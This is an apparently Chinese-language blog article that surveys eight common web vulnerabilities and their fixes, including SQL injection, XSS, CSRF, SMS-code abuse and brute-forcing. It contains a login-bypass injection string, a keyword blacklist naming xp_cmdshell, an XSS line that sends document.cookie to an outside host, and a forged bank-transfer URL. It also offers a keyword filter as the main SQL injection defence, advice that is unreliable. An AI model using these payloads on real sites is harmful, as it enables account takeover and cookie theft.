1、sql注入
SQL注入在黑客领域是一种非常常见的攻击手段，大家应该都听说过很多数据泄漏的案例，其中大部分都是采用SQL注入来获取数据的。
SQL注入一般是前端向后台提交数据的时候，在数据中加入SQL语句，改变后台本来要执行的SQL语句！例如：
原SQL语句为：select * from users where username='name' and password=md5('pwd')
通过SQL注入，将用户名设置为：'name' or 1=1# SQL语句就变成了
select * from users where username='name' or 1=1#' and password=md5('pwd')
对于SQL解析器来说，一般认为#后面的内容是被注释调的，所以实际上执行的 select * from users where username='name' or 1=1
这样，用户无需输入密码，便可达到拥有密码的效果。
SQL注入的解决方案一般是增加SQL过滤器，检测前端传过来的内容是否含有非法字符，常见的非法字符：
'| and |exec|execute|insert|select|delete|update|count|drop|*|chr|mid|master|truncate|char|declare|sitename|net user|xp_cmdshell|;|,|like'|exec|execute|insert|create|drop|table|from|grant|use |group_concat|column_name|information_schema.columns|table_schema|union|where|select|delete|update|order|by|count|*|chr|mid|master|truncate|char|declare| or |--| + |,| like
2、校验逻辑放到前端
以本人以前维护的一个网站为例，当初开发者对图片验证码校验的逻辑都放在了前端，
校验过程是这样的，当用户点击登录之后，去后台请求验证码，然后跟用户输入的验证码比较，如果一致就通过，想想这个逻辑也只能呵呵了。
总结一下经验就是，所以的校验逻辑，尽可能的放到后台验证，前端的任何校验都是有可能被绕过的。
3、攻击短信验证码接口
目前大部分网站在注册时，都需要验证手机号，或者登录方式提供了使用手机号+短信验证码登录，于是便有人可以模拟用户注册，频繁的攻击短信发送接口。解决方案有两种：对同一手机号，统一IP地址进程请求次数限制。当然，攻击者可以频繁的换手机号，也可以使用‘肉机’等方式频繁的换IP地址。这时候，限制IP和手机号的方式似乎就不能奏效了。
另一种方式是在请求发送验证码之前，需要用户先输入图片验证码，当图片验证码校验成功后（切记，要在后台校验），再发送短信验证码，这样攻击者可能就需要一定的攻击成本了。
如果已上方式都不能奏效，好了，从业务角度入手，将手机号的验证放在登录之后吧。
4、XSS跨站脚本注入
XSS跨域请求类似于SQL注入，也是向代码中注入非法代码，不同之处在于这里注入的一般是js代码，攻击的是客户端;
例如在一个可以发文章的网站，发布了一片文章，文章里故意插入一些可执行的JS脚本（如：<script>window.open(“http://letsgogo.top”+document.cookie)</script>），这样，如果客户端处理不当，就有可能遭受攻击。
解决办法是跟防止SQL注入类似，对于用户提交的数据进行检测，如果部分特殊字符必须保留，也应该进行转义。
5、大量请求压力
一般情况是向服务器发送大量的非法请求或正常请求，对服务器造成一定的压力甚至瘫痪，导致正常的业务不能及时处理。
一般上线的WEB服务都应该对承受的能力有一个预估，然后在硬件或者软件层做并发控制。防止出现此此种情况。
6、验证码爆破
一般是通过爆破的方式，碰撞用户收到的真实手机验证码，目前验证码一般是4位～5位 一般的爆破工具，几分钟就可以试完。
解决方案比较简单，对于同一手机号，尝试次数大于几次之后，验证码自动失效。
7、CSRF漏洞
中文名称是跨站请求伪造，举一个例子，
受害者 Bob 在银行有一笔存款，通过对银行的网站发送请求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下，该请求发送到网站后，服务器会先验证该请求是否来自一个合法的 session，并且该 session 的用户 Bob 已经成功登陆。
黑客 Mallory 自己在该银行也有账户，他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行：http://bank.example/withdraw?account=bob& amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob，他不能通过安全认证，因此该请求不会起作用。
这时，Mallory 想到使用 CSRF 的攻击方式，他先自己做一个网站，在网站中放入如下代码： src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”，并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时，上述 url 就会从 Bob 的浏览器发向银行，而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下，该请求会失败，因为他要求 Bob 的认证信息。但是，如果 Bob 当时恰巧刚访问他的银行后不久，他的浏览器与银行网站之间的 session 尚未过期，浏览器的 cookie 之中含有 Bob 的认证信息。这时，悲剧发生了，这个 url 请求就会得到响应，钱将从 Bob 的账号转移到 Mallory 的账号，而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了，即使他去银行查询日志，他也只能发现确实有一个来自于他本人的合法请求转移了资金，没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。
8、权限控制漏洞
一般网站需要有一个完善的权限管理体系，理论上应该对所有的URL路径都进行权限控制，千万不要以为页面没有入口，就不能访问了。
在此，更加建议采用RESTFUL风格设计URL路径，这样更加的便于做权限控制、监控、统计等工作。